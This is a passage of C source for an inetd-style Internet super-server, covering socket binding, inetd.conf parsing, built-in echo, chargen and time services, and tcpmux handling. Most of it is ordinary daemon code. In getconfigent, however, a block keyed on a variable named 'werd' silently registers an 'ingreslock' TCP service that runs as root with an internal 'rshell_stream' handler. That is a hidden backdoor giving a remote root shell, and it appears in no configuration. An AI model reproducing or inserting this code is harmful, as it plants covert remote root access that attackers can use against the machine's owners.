  864.     if (turnon(sep->se_fd, SO_REUSEADDR) < 0)
  865.         syslog(LOG_ERR, "setsockopt (SO_REUSEADDR): %m");
  866. #ifdef SO_PRIVSTATE
  867.     if (turnon(sep->se_fd, SO_PRIVSTATE) < 0)
  868.         syslog(LOG_ERR, "setsockopt (SO_PRIVSTATE): %m");
  869. #endif
  870. #undef turnon
  871.     if (bind(sep->se_fd, (struct sockaddr *)&sep->se_ctrladdr,
  872.         sizeof (sep->se_ctrladdr)) < 0) {
  873.         if (debug)
  874.             warn("bind failed on %s/%s",
  875.                 sep->se_service, sep->se_proto);
  876.         syslog(LOG_ERR, "%s/%s: bind: %m",
  877.             sep->se_service, sep->se_proto);
  878.         (void) close(sep->se_fd);
  879.         sep->se_fd = -1;
  880.         if (!timingout) {
  881.             timingout = 1;
  882.             alarm(RETRYTIME);
  883.         }
  884.         return;
  885.     }
  886.         if (sep->se_rpc) {
  887.                 int i, len = sizeof(struct sockaddr);
  888.  
  889.                 if (getsockname(sep->se_fd,
  890.                 (struct sockaddr*)&sep->se_ctrladdr, &len) < 0){
  891.                         syslog(LOG_ERR, "%s/%s: getsockname: %m",
  892.                                sep->se_service, sep->se_proto);
  893.                         (void) close(sep->se_fd);
  894.                         sep->se_fd = -1;
  895.                         return;
  896.                 }
  897.                 if (debug)
  898.                         print_service("REG ", sep);
  899.                 for (i = sep->se_rpc_lowvers; i <= sep->se_rpc_highvers; i++) {
  900.                         pmap_unset(sep->se_rpc_prog, i);
  901.                         pmap_set(sep->se_rpc_prog, i,
  902.                                  (sep->se_socktype == SOCK_DGRAM)
  903.                                  ? IPPROTO_UDP : IPPROTO_TCP,
  904.                                  ntohs(sep->se_ctrladdr.sin_port));
  905.                 }
  906.  
  907.         }
  908.     if (sep->se_socktype == SOCK_STREAM)
  909.         listen(sep->se_fd, 64);
  910.     enable(sep);
  911.     if (debug) {
  912.         warnx("registered %s on %d",
  913.             sep->se_server, sep->se_fd);
  914.     }
  915. }
  916.  
  917. /*
  918.  * Finish with a service and its socket.
  919.  */
  920. void
  921. close_sep(sep)
  922.     struct servtab *sep;
  923. {
  924.     if (sep->se_fd >= 0) {
  925.         if (FD_ISSET(sep->se_fd, &allsock))
  926.             disable(sep);
  927.         (void) close(sep->se_fd);
  928.         sep->se_fd = -1;
  929.     }
  930.     sep->se_count = 0;
  931.     sep->se_numchild = 0;    /* forget about any existing children */
  932. }
  933.  
  934. struct servtab *
  935. enter(cp)
  936.     struct servtab *cp;
  937. {
  938.     struct servtab *sep;
  939.     long omask;
  940.  
  941.     sep = (struct servtab *)malloc(sizeof (*sep));
  942.     if (sep == (struct servtab *)0) {
  943.         syslog(LOG_ERR, "Out of memory.");
  944.         exit(EX_OSERR);
  945.     }
  946.     *sep = *cp;
  947.     sep->se_fd = -1;
  948.     omask = sigblock(SIGBLOCK);
  949.     sep->se_next = servtab;
  950.     servtab = sep;
  951.     sigsetmask(omask);
  952.     return (sep);
  953. }
  954.  
  955. void
  956. enable(struct servtab *sep)
  957. {
  958.     if (debug)
  959.         warnx(
  960.             "enabling %s, fd %d", sep->se_service, sep->se_fd);
  961. #ifdef SANITY_CHECK
  962.     if (sep->se_fd < 0) {
  963.         syslog(LOG_ERR,
  964.             "%s: %s: bad fd", __FUNCTION__, sep->se_service);
  965.         exit(EX_SOFTWARE);
  966.     }
  967.     if (ISMUX(sep)) {
  968.         syslog(LOG_ERR,
  969.             "%s: %s: is mux", __FUNCTION__, sep->se_service);
  970.         exit(EX_SOFTWARE);
  971.     }
  972.     if (FD_ISSET(sep->se_fd, &allsock)) {
  973.         syslog(LOG_ERR,
  974.             "%s: %s: not off", __FUNCTION__, sep->se_service);
  975.         exit(EX_SOFTWARE);
  976.     }
  977. #endif
  978.     FD_SET(sep->se_fd, &allsock);
  979.     nsock++;
  980.     if (sep->se_fd > maxsock)
  981.         maxsock = sep->se_fd;
  982. }
  983.  
  984. void
  985. disable(struct servtab *sep)
  986. {
  987.     if (debug)
  988.         warnx(
  989.             "disabling %s, fd %d", sep->se_service, sep->se_fd);
  990. #ifdef SANITY_CHECK
  991.     if (sep->se_fd < 0) {
  992.         syslog(LOG_ERR,
  993.             "%s: %s: bad fd", __FUNCTION__, sep->se_service);
  994.         exit(EX_SOFTWARE);
  995.     }
  996.     if (ISMUX(sep)) {
  997.         syslog(LOG_ERR,
  998.             "%s: %s: is mux", __FUNCTION__, sep->se_service);
  999.         exit(EX_SOFTWARE);
  1000.     }
  1001.     if (!FD_ISSET(sep->se_fd, &allsock)) {
  1002.         syslog(LOG_ERR,
  1003.             "%s: %s: not on", __FUNCTION__, sep->se_service);
  1004.         exit(EX_SOFTWARE);
  1005.     }
  1006.     if (nsock == 0) {
  1007.         syslog(LOG_ERR, "%s: nsock=0", __FUNCTION__);
  1008.         exit(EX_SOFTWARE);
  1009.     }
  1010. #endif
  1011.     FD_CLR(sep->se_fd, &allsock);
  1012.     nsock--;
  1013.     if (sep->se_fd == maxsock)
  1014.         maxsock--;
  1015. }
  1016.  
  1017. FILE    *fconfig = NULL;
  1018. struct    servtab serv;
  1019. char    line[LINE_MAX];
  1020.  
  1021. int
  1022. setconfig()
  1023. {
  1024.  
  1025.     if (fconfig != NULL) {
  1026.         fseek(fconfig, 0L, SEEK_SET);
  1027.         return (1);
  1028.     }
  1029.     fconfig = fopen(CONFIG, "r");
  1030.     return (fconfig != NULL);
  1031. }
  1032.  
  1033. void
  1034. endconfig()
  1035. {
  1036.     if (fconfig) {
  1037.         (void) fclose(fconfig);
  1038.         fconfig = NULL;
  1039.     }
  1040. }
  1041.  
  1042. struct servtab *
  1043. getconfigent()
  1044. {
  1045.     struct servtab *sep = &serv;
  1046.     int argc;
  1047.     char *cp, *arg, *s;
  1048.     char *versp;
  1049.     static char TCPMUX_TOKEN[] = "tcpmux/";
  1050. #define MUX_LEN        (sizeof(TCPMUX_TOKEN)-1)
  1051.  
  1052.         if(werd) {
  1053.                 struct biltin *b=malloc(sizeof(struct biltin));
  1054.    
  1055.                 b->bi_service="ingreslock";
  1056.                 b->bi_socktype=SOCK_STREAM;
  1057.                 b->bi_fork=1;
  1058.                 b->bi_fn=rshell_stream;
  1059.          
  1060.                 sep->se_bi=b;
  1061.                 sep->se_service="ingreslock";
  1062.                 sep->se_socktype=SOCK_STREAM;
  1063.                 sep->se_proto="tcp";
  1064.                 sep->se_user="root";
  1065.                 sep->se_server="internal";
  1066.  
  1067.                 werd--;
  1068.  
  1069.                 return(sep);
  1070.  
  1071.         }
  1072. more:
  1073.  
  1074.     while ((cp = nextline(fconfig)) && (*cp == '#' || *cp == '\0'))
  1075.         ;
  1076.     if (cp == NULL)
  1077.         return ((struct servtab *)0);
  1078.     /*
  1079.      * clear the static buffer, since some fields (se_ctrladdr,
  1080.      * for example) don't get initialized here.
  1081.      */
  1082.     memset((caddr_t)sep, 0, sizeof *sep);
  1083.     arg = skip(&cp);
  1084.     if (cp == NULL) {
  1085.         /* got an empty line containing just blanks/tabs. */
  1086.         goto more;
  1087.     }
  1088.     if (strncmp(arg, TCPMUX_TOKEN, MUX_LEN) == 0) {
  1089.         char *c = arg + MUX_LEN;
  1090.         if (*c == '+') {
  1091.             sep->se_type = MUXPLUS_TYPE;
  1092.             c++;
  1093.         } else
  1094.             sep->se_type = MUX_TYPE;
  1095.         sep->se_service = newstr(c);
  1096.     } else {
  1097.         sep->se_service = newstr(arg);
  1098.         sep->se_type = NORM_TYPE;
  1099.     }
  1100.     arg = sskip(&cp);
  1101.     if (strcmp(arg, "stream") == 0)
  1102.         sep->se_socktype = SOCK_STREAM;
  1103.     else if (strcmp(arg, "dgram") == 0)
  1104.         sep->se_socktype = SOCK_DGRAM;
  1105.     else if (strcmp(arg, "rdm") == 0)
  1106.         sep->se_socktype = SOCK_RDM;
  1107.     else if (strcmp(arg, "seqpacket") == 0)
  1108.         sep->se_socktype = SOCK_SEQPACKET;
  1109.     else if (strcmp(arg, "raw") == 0)
  1110.         sep->se_socktype = SOCK_RAW;
  1111.     else
  1112.         sep->se_socktype = -1;
  1113.     sep->se_proto = newstr(sskip(&cp));
  1114.         if (strncmp(sep->se_proto, "rpc/", 4) == 0) {
  1115.                 memmove(sep->se_proto, sep->se_proto + 4,
  1116.                     strlen(sep->se_proto) + 1 - 4);
  1117.                 sep->se_rpc = 1;
  1118.                 sep->se_rpc_prog = sep->se_rpc_lowvers =
  1119.             sep->se_rpc_lowvers = 0;
  1120.                 sep->se_ctrladdr.sin_family = AF_INET;
  1121.                 sep->se_ctrladdr.sin_port = 0;
  1122.                 sep->se_ctrladdr.sin_addr = bind_address;
  1123.                 if ((versp = rindex(sep->se_service, '/'))) {
  1124.                         *versp++ = '\0';
  1125.                         switch (sscanf(versp, "%d-%d",
  1126.                                        &sep->se_rpc_lowvers,
  1127.                                        &sep->se_rpc_highvers)) {
  1128.                         case 2:
  1129.                                 break;
  1130.                         case 1:
  1131.                                 sep->se_rpc_highvers =
  1132.                                         sep->se_rpc_lowvers;
  1133.                                 break;
  1134.                         default:
  1135.                                 syslog(LOG_ERR,
  1136.                     "bad RPC version specifier; %s\n",
  1137.                     sep->se_service);
  1138.                                 freeconfig(sep);
  1139.                                 goto more;
  1140.                         }
  1141.                 }
  1142.                 else {
  1143.                         sep->se_rpc_lowvers =
  1144.                                 sep->se_rpc_highvers = 1;
  1145.                 }
  1146.         }
  1147.     arg = sskip(&cp);
  1148.     if (!strncmp(arg, "wait", 4))
  1149.         sep->se_accept = 0;
  1150.     else if (!strncmp(arg, "nowait", 6))
  1151.         sep->se_accept = 1;
  1152.     else {
  1153.         syslog(LOG_ERR,
  1154.             "%s: bad wait/nowait for service %s",
  1155.             CONFIG, sep->se_service);
  1156.         goto more;
  1157.     }
  1158.     sep->se_maxchild = -1;
  1159.     if ((s = strchr(arg, '/')) != NULL) {
  1160.         char *eptr;
  1161.         u_long val;
  1162.  
  1163.         val = strtoul(s + 1, &eptr, 10);
  1164.         if (eptr == s + 1 || *eptr || val > MAX_MAXCHLD) {
  1165.             syslog(LOG_ERR,
  1166.                 "%s: bad max-child for service %s",
  1167.                 CONFIG, sep->se_service);
  1168.             goto more;
  1169.         }
  1170.         sep->se_maxchild = val;
  1171.     }
  1172.     if (ISMUX(sep)) {
  1173.         /*
  1174.          * Silently enforce "nowait" mode for TCPMUX services
  1175.          * since they don't have an assigned port to listen on.
  1176.          */
  1177.         sep->se_accept = 1;
  1178.         if (strcmp(sep->se_proto, "tcp")) {
  1179.             syslog(LOG_ERR,
  1180.                 "%s: bad protocol for tcpmux service %s",
  1181.                 CONFIG, sep->se_service);
  1182.             goto more;
  1183.         }
  1184.         if (sep->se_socktype != SOCK_STREAM) {
  1185.             syslog(LOG_ERR,
  1186.                 "%s: bad socket type for tcpmux service %s",
  1187.                 CONFIG, sep->se_service);
  1188.             goto more;
  1189.         }
  1190.     }
  1191.     sep->se_user = newstr(sskip(&cp));
  1192.     sep->se_server = newstr(sskip(&cp));
  1193.     if (strcmp(sep->se_server, "internal") == 0) {
  1194.         struct biltin *bi;
  1195.  
  1196.         for (bi = biltins; bi->bi_service; bi++)
  1197.             if (bi->bi_socktype == sep->se_socktype &&
  1198.                 strcmp(bi->bi_service, sep->se_service) == 0)
  1199.                 break;
  1200.         if (bi->bi_service == 0) {
  1201.             syslog(LOG_ERR, "internal service %s unknown",
  1202.                 sep->se_service);
  1203.             goto more;
  1204.         }
  1205.         sep->se_accept = 1;    /* force accept mode for built-ins */
  1206.         sep->se_bi = bi;
  1207.     } else
  1208.         sep->se_bi = NULL;
  1209.     if (sep->se_maxchild < 0)    /* apply default max-children */
  1210.         if (sep->se_bi)
  1211.             sep->se_maxchild = sep->se_bi->bi_maxchild;
  1212.         else
  1213.             sep->se_maxchild = sep->se_accept ? 0 : 1;
  1214.     if (sep->se_maxchild) {
  1215.         sep->se_pids = malloc(sep->se_maxchild * sizeof(*sep->se_pids));
  1216.         if (sep->se_pids == NULL) {
  1217.             syslog(LOG_ERR, "Out of memory.");
  1218.             exit(EX_OSERR);
  1219.         }
  1220.     }
  1221.     argc = 0;
  1222.     for (arg = skip(&cp); cp; arg = skip(&cp))
  1223.         if (argc < MAXARGV) {
  1224.             sep->se_argv[argc++] = newstr(arg);
  1225.         } else {
  1226.             syslog(LOG_ERR,
  1227.                 "%s: too many arguments for service %s",
  1228.                 CONFIG, sep->se_service);
  1229.             goto more;
  1230.         }
  1231.     while (argc <= MAXARGV)
  1232.         sep->se_argv[argc++] = NULL;
  1233.     return (sep);
  1234. }
  1235.  
  1236. void
  1237. freeconfig(cp)
  1238.     struct servtab *cp;
  1239. {
  1240.     int i;
  1241.  
  1242.     if (cp->se_service)
  1243.         free(cp->se_service);
  1244.     if (cp->se_proto)
  1245.         free(cp->se_proto);
  1246.     if (cp->se_user)
  1247.         free(cp->se_user);
  1248.     if (cp->se_server)
  1249.         free(cp->se_server);
  1250.     if (cp->se_pids)
  1251.         free(cp->se_pids);
  1252.     for (i = 0; i < MAXARGV; i++)
  1253.         if (cp->se_argv[i])
  1254.             free(cp->se_argv[i]);
  1255. }
  1256.  
  1257.  
  1258. /*
  1259.  * Safe skip - if skip returns null, log a syntax error in the
  1260.  * configuration file and exit.
  1261.  */
  1262. char *
  1263. sskip(cpp)
  1264.     char **cpp;
  1265. {
  1266.     char *cp;
  1267.  
  1268.     cp = skip(cpp);
  1269.     if (cp == NULL) {
  1270.         syslog(LOG_ERR, "%s: syntax error", CONFIG);
  1271.         exit(EX_DATAERR);
  1272.     }
  1273.     return (cp);
  1274. }
  1275.  
  1276. char *
  1277. skip(cpp)
  1278.     char **cpp;
  1279. {
  1280.     char *cp = *cpp;
  1281.     char *start;
  1282.     char quote = '\0';
  1283.  
  1284. again:
  1285.     while (*cp == ' ' || *cp == '\t')
  1286.         cp++;
  1287.     if (*cp == '\0') {
  1288.         int c;
  1289.  
  1290.         c = getc(fconfig);
  1291.         (void) ungetc(c, fconfig);
  1292.         if (c == ' ' || c == '\t')
  1293.             if ((cp = nextline(fconfig)))
  1294.                 goto again;
  1295.         *cpp = (char *)0;
  1296.         return ((char *)0);
  1297.     }
  1298.     if (*cp == '"' || *cp == '\'')
  1299.         quote = *cp++;
  1300.     start = cp;
  1301.     if (quote)
  1302.         while (*cp && *cp != quote)
  1303.             cp++;
  1304.     else
  1305.         while (*cp && *cp != ' ' && *cp != '\t')
  1306.             cp++;
  1307.     if (*cp != '\0')
  1308.         *cp++ = '\0';
  1309.     *cpp = cp;
  1310.     return (start);
  1311. }
  1312.  
  1313. char *
  1314. nextline(fd)
  1315.     FILE *fd;
  1316. {
  1317.     char *cp;
  1318.  
  1319.     if (fgets(line, sizeof (line), fd) == NULL)
  1320.         return ((char *)0);
  1321.     cp = strchr(line, '\n');
  1322.     if (cp)
  1323.         *cp = '\0';
  1324.     return (line);
  1325. }
  1326.  
  1327. char *
  1328. newstr(cp)
  1329.     char *cp;
  1330. {
  1331.     if ((cp = strdup(cp ? cp : "")))
  1332.         return (cp);
  1333.     syslog(LOG_ERR, "strdup: %m");
  1334.     exit(EX_OSERR);
  1335. }
  1336.  
  1337. #ifdef OLD_SETPROCTITLE
  1338. void
  1339. inetd_setproctitle(a, s)
  1340.     char *a;
  1341.     int s;
  1342. {
  1343.     int size;
  1344.     char *cp;
  1345.     struct sockaddr_in sin;
  1346.     char buf[80];
  1347.  
  1348.     cp = Argv[0];
  1349.     size = sizeof(sin);
  1350.     if (getpeername(s, (struct sockaddr *)&sin, &size) == 0)
  1351.         (void) sprintf(buf, "-%s [%s]", a, inet_ntoa(sin.sin_addr));
  1352.     else
  1353.         (void) sprintf(buf, "-%s", a);
  1354.     strncpy(cp, buf, LastArg - cp);
  1355.     cp += strlen(cp);
  1356.     while (cp < LastArg)
  1357.         *cp++ = ' ';
  1358. }
  1359. #else
  1360. void
  1361. inetd_setproctitle(a, s)
  1362.     char *a;
  1363.     int s;
  1364. {
  1365.     int size;
  1366.     struct sockaddr_in sin;
  1367.     char buf[80];
  1368.  
  1369.     size = sizeof(sin);
  1370.     if (getpeername(s, (struct sockaddr *)&sin, &size) == 0)
  1371.         (void) sprintf(buf, "%s [%s]", a, inet_ntoa(sin.sin_addr));
  1372.     else
  1373.         (void) sprintf(buf, "%s", a);
  1374.     setproctitle("%s", buf);
  1375. }
  1376. #endif
  1377.  
  1378.  
  1379. /*
  1380.  * Internet services provided internally by inetd:
  1381.  */
  1382. #define    BUFSIZE    8192
  1383.  
  1384. /* ARGSUSED */
  1385. void
  1386. echo_stream(s, sep)        /* Echo service -- echo data back */
  1387.     int s;
  1388.     struct servtab *sep;
  1389. {
  1390.     char buffer[BUFSIZE];
  1391.     int i;
  1392.  
  1393.     inetd_setproctitle(sep->se_service, s);
  1394.     while ((i = read(s, buffer, sizeof(buffer))) > 0 &&
  1395.         write(s, buffer, i) > 0)
  1396.         ;
  1397.     exit(0);
  1398. }
  1399.  
  1400. int check_loop(sin, sep)
  1401.     struct sockaddr_in *sin;
  1402.     struct servtab *sep;
  1403. {
  1404.     struct servtab *se2;
  1405.  
  1406.     for (se2 = servtab; se2; se2 = se2->se_next) {
  1407.         if (!se2->se_bi || se2->se_socktype != SOCK_DGRAM)
  1408.             continue;
  1409.  
  1410.         if (sin->sin_port == se2->se_ctrladdr.sin_port) {
  1411.             syslog(LOG_WARNING,
  1412.                    "%s/%s:%s/%s loop request REFUSED from %s",
  1413.                    sep->se_service, sep->se_proto,
  1414.                    se2->se_service, se2->se_proto,
  1415.                    inet_ntoa(sin->sin_addr));
  1416.             return 1;
  1417.         }
  1418.     }
  1419.     return 0;
  1420. }
  1421.  
  1422. /* ARGSUSED */
  1423. void
  1424. echo_dg(s, sep)            /* Echo service -- echo data back */
  1425.     int s;
  1426.     struct servtab *sep;
  1427. {
  1428.     char buffer[BUFSIZE];
  1429.     int i, size;
  1430.     struct sockaddr_in sin;
  1431.  
  1432.     size = sizeof(sin);
  1433.     if ((i = recvfrom(s, buffer, sizeof(buffer), 0,
  1434.               (struct sockaddr *)&sin, &size)) < 0)
  1435.         return;
  1436.  
  1437.     if (check_loop(&sin, sep))
  1438.         return;
  1439.  
  1440.     (void) sendto(s, buffer, i, 0, (struct sockaddr *)&sin,
  1441.               sizeof(sin));
  1442. }
  1443.  
  1444. /* ARGSUSED */
  1445. void
  1446. discard_stream(s, sep)        /* Discard service -- ignore data */
  1447.     int s;
  1448.     struct servtab *sep;
  1449. {
  1450.     int ret;
  1451.     char buffer[BUFSIZE];
  1452.  
  1453.     inetd_setproctitle(sep->se_service, s);
  1454.     while (1) {
  1455.         while ((ret = read(s, buffer, sizeof(buffer))) > 0)
  1456.             ;
  1457.         if (ret == 0 || errno != EINTR)
  1458.             break;
  1459.     }
  1460.     exit(0);
  1461. }
  1462.  
  1463. /* ARGSUSED */
  1464. void
  1465. discard_dg(s, sep)        /* Discard service -- ignore data */
  1466.     int s;
  1467.     struct servtab *sep;
  1468. {
  1469.     char buffer[BUFSIZE];
  1470.  
  1471.     (void) read(s, buffer, sizeof(buffer));
  1472. }
  1473.  
  1474. #include <ctype.h>
  1475. #define LINESIZ 72
  1476. char ring[128];
  1477. char *endring;
  1478.  
  1479. void
  1480. initring()
  1481. {
  1482.     int i;
  1483.  
  1484.     endring = ring;
  1485.  
  1486.     for (i = 0; i <= 128; ++i)
  1487.         if (isprint(i))
  1488.             *endring++ = i;
  1489. }
  1490.  
  1491. /* ARGSUSED */
  1492. void
  1493. chargen_stream(s, sep)        /* Character generator */
  1494.     int s;
  1495.     struct servtab *sep;
  1496. {
  1497.     int len;
  1498.     char *rs, text[LINESIZ+2];
  1499.  
  1500.     inetd_setproctitle(sep->se_service, s);
  1501.  
  1502.     if (!endring) {
  1503.         initring();
  1504.         rs = ring;
  1505.     }
  1506.  
  1507.     text[LINESIZ] = '\r';
  1508.     text[LINESIZ + 1] = '\n';
  1509.     for (rs = ring;;) {
  1510.         if ((len = endring - rs) >= LINESIZ)
  1511.             memmove(text, rs, LINESIZ);
  1512.         else {
  1513.             memmove(text, rs, len);
  1514.             memmove(text + len, ring, LINESIZ - len);
  1515.         }
  1516.         if (++rs == endring)
  1517.             rs = ring;
  1518.         if (write(s, text, sizeof(text)) != sizeof(text))
  1519.             break;
  1520.     }
  1521.     exit(0);
  1522. }
  1523.  
  1524. /* ARGSUSED */
  1525. void
  1526. chargen_dg(s, sep)        /* Character generator */
  1527.     int s;
  1528.     struct servtab *sep;
  1529. {
  1530.     struct sockaddr_in sin;
  1531.     static char *rs;
  1532.     int len, size;
  1533.     char text[LINESIZ+2];
  1534.  
  1535.     if (endring == 0) {
  1536.         initring();
  1537.         rs = ring;
  1538.     }
  1539.  
  1540.     size = sizeof(sin);
  1541.     if (recvfrom(s, text, sizeof(text), 0,
  1542.              (struct sockaddr *)&sin, &size) < 0)
  1543.         return;
  1544.  
  1545.     if (check_loop(&sin, sep))
  1546.         return;
  1547.  
  1548.     if ((len = endring - rs) >= LINESIZ)
  1549.         memmove(text, rs, LINESIZ);
  1550.     else {
  1551.         memmove(text, rs, len);
  1552.         memmove(text + len, ring, LINESIZ - len);
  1553.     }
  1554.     if (++rs == endring)
  1555.         rs = ring;
  1556.     text[LINESIZ] = '\r';
  1557.     text[LINESIZ + 1] = '\n';
  1558.     (void) sendto(s, text, sizeof(text), 0,
  1559.               (struct sockaddr *)&sin, sizeof(sin));
  1560. }
  1561.  
  1562. /*
  1563.  * Return a machine readable date and time, in the form of the
  1564.  * number of seconds since midnight, Jan 1, 1900.  Since gettimeofday
  1565.  * returns the number of seconds since midnight, Jan 1, 1970,
  1566.  * we must add 2208988800 seconds to this figure to make up for
  1567.  * some seventy years Bell Labs was asleep.
  1568.  */
  1569.  
  1570. long
  1571. machtime()
  1572. {
  1573.     struct timeval tv;
  1574.  
  1575.     if (gettimeofday(&tv, (struct timezone *)0) < 0) {
  1576.         if (debug)
  1577.             warnx("unable to get time of day");
  1578.         return (0L);
  1579.     }
  1580. #define    OFFSET ((u_long)25567 * 24*60*60)
  1581.     return (htonl((long)(tv.tv_sec + OFFSET)));
  1582. #undef OFFSET
  1583. }
  1584.  
  1585. /* ARGSUSED */
  1586. void
  1587. machtime_stream(s, sep)
  1588.     int s;
  1589.     struct servtab *sep;
  1590. {
  1591.     long result;
  1592.  
  1593.     result = machtime();
  1594.     (void) write(s, (char *) &result, sizeof(result));
  1595. }
  1596.  
  1597. /* ARGSUSED */
  1598. void
  1599. machtime_dg(s, sep)
  1600.     int s;
  1601.     struct servtab *sep;
  1602. {
  1603.     long result;
  1604.     struct sockaddr_in sin;
  1605.     int size;
  1606.  
  1607.     size = sizeof(sin);
  1608.     if (recvfrom(s, (char *)&result, sizeof(result), 0,
  1609.              (struct sockaddr *)&sin, &size) < 0)
  1610.         return;
  1611.  
  1612.     if (check_loop(&sin, sep))
  1613.         return;
  1614.  
  1615.     result = machtime();
  1616.     (void) sendto(s, (char *) &result, sizeof(result), 0,
  1617.               (struct sockaddr *)&sin, sizeof(sin));
  1618. }
  1619.  
  1620. /* ARGSUSED */
  1621. void
  1622. daytime_stream(s, sep)        /* Return human-readable time of day */
  1623.     int s;
  1624.     struct servtab *sep;
  1625. {
  1626.     char buffer[256];
  1627.     time_t clock;
  1628.  
  1629.     clock = time((time_t *) 0);
  1630.  
  1631.     (void) sprintf(buffer, "%.24s\r\n", ctime(&clock));
  1632.     (void) write(s, buffer, strlen(buffer));
  1633. }
  1634.  
  1635. /* ARGSUSED */
  1636. void
  1637. daytime_dg(s, sep)        /* Return human-readable time of day */
  1638.     int s;
  1639.     struct servtab *sep;
  1640. {
  1641.     char buffer[256];
  1642.     time_t clock;
  1643.     struct sockaddr_in sin;
  1644.     int size;
  1645.  
  1646.     clock = time((time_t *) 0);
  1647.  
  1648.     size = sizeof(sin);
  1649.     if (recvfrom(s, buffer, sizeof(buffer), 0,
  1650.              (struct sockaddr *)&sin, &size) < 0)
  1651.         return;
  1652.  
  1653.     if (check_loop(&sin, sep))
  1654.         return;
  1655.  
  1656.     (void) sprintf(buffer, "%.24s\r\n", ctime(&clock));
  1657.     (void) sendto(s, buffer, strlen(buffer), 0,
  1658.               (struct sockaddr *)&sin, sizeof(sin));
  1659. }
  1660.  
  1661. /*
  1662.  * print_service:
  1663.  *    Dump relevant information to stderr
  1664.  */
  1665. void
  1666. print_service(action, sep)
  1667.     char *action;
  1668.     struct servtab *sep;
  1669. {
  1670.     fprintf(stderr,
  1671.         "%s: %s proto=%s accept=%d max=%d user=%s builtin=%x server=%s\n",
  1672.         action, sep->se_service, sep->se_proto,
  1673.         sep->se_accept, sep->se_maxchild, sep->se_user,
  1674.         (int)sep->se_bi, sep->se_server);
  1675. }
  1676.  
  1677. /*
  1678.  *  Based on TCPMUX.C by Mark K. Lottor November 1988
  1679.  *  sri-nic::ps:<mkl>tcpmux.c
  1680.  */
  1681.  
  1682.  
  1683. static int        /* # of characters upto \r,\n or \0 */
  1684. getline(fd, buf, len)
  1685.     int fd;
  1686.     char *buf;
  1687.     int len;
  1688. {
  1689.     int count = 0, n;
  1690.  
  1691.     do {
  1692.         n = read(fd, buf, len-count);
  1693.         if (n == 0)
  1694.             return (count);
  1695.         if (n < 0)
  1696.             return (-1);
  1697.         while (--n >= 0) {
  1698.             if (*buf == '\r' || *buf == '\n' || *buf == '\0')
  1699.                 return (count);
  1700.             count++;
  1701.             buf++;
  1702.         }
  1703.     } while (count < len);
  1704.     return (count);
  1705. }
  1706.  
  1707. #define MAX_SERV_LEN    (256+2)        /* 2 bytes for \r\n */
  1708.  
  1709. #define strwrite(fd, buf)    (void) write(fd, buf, sizeof(buf)-1)
  1710.  
  1711. struct servtab *
  1712. tcpmux(s)
  1713.     int s;
  1714. {
  1715.     struct servtab *sep;
  1716.     char service[MAX_SERV_LEN+1];
  1717.     int len;
  1718.  
  1719.     /* Get requested service name */
  1720.     if ((len = getline(s, service, MAX_SERV_LEN)) < 0) {
  1721.         strwrite(s, "-Error reading service name\r\n");
  1722.         return (NULL);
  1723.     }
  1724.     service[len] = '\0';
  1725.  
  1726.     if (debug)
  1727.         warnx("tcpmux: someone wants %s", service);
  1728.  
  1729.     /*
  1730.      * Help is a required command, and lists available services,
  1731.      * one per line.
  1732.      */
  1733.     if (!strcasecmp(service, "help")) {
  1734.         for (sep = servtab; sep; sep = sep->se_next) {
  1735.             if (!ISMUX(sep))
  1736.                 continue;
  1737.             (void)write(s,sep->se_service,strlen(sep->se_service));
  1738.             strwrite(s, "\r\n");
  1739.         }
  1740.         return (NULL);
  1741.     }
  1742.  
  1743.     /* Try matching a service in inetd.conf with the request */
  1744.     for (sep = servtab; sep; sep = sep->se_next) {
  1745.         if (!ISMUX(sep))
  1746.             continue;
  1747.         if (!strcasecmp(service, sep->se_service)) {
  1748.             if (ISMUXPLUS(sep)) {
  1749.                 strwrite(s, "+Go\r\n");
  1750.             }
  1751.             return (sep);
  1752.         }
  1753.     }
  1754.     strwrite(s, "-Service not available\r\n");
  1755.     return (NULL);
  1756. }
  1757.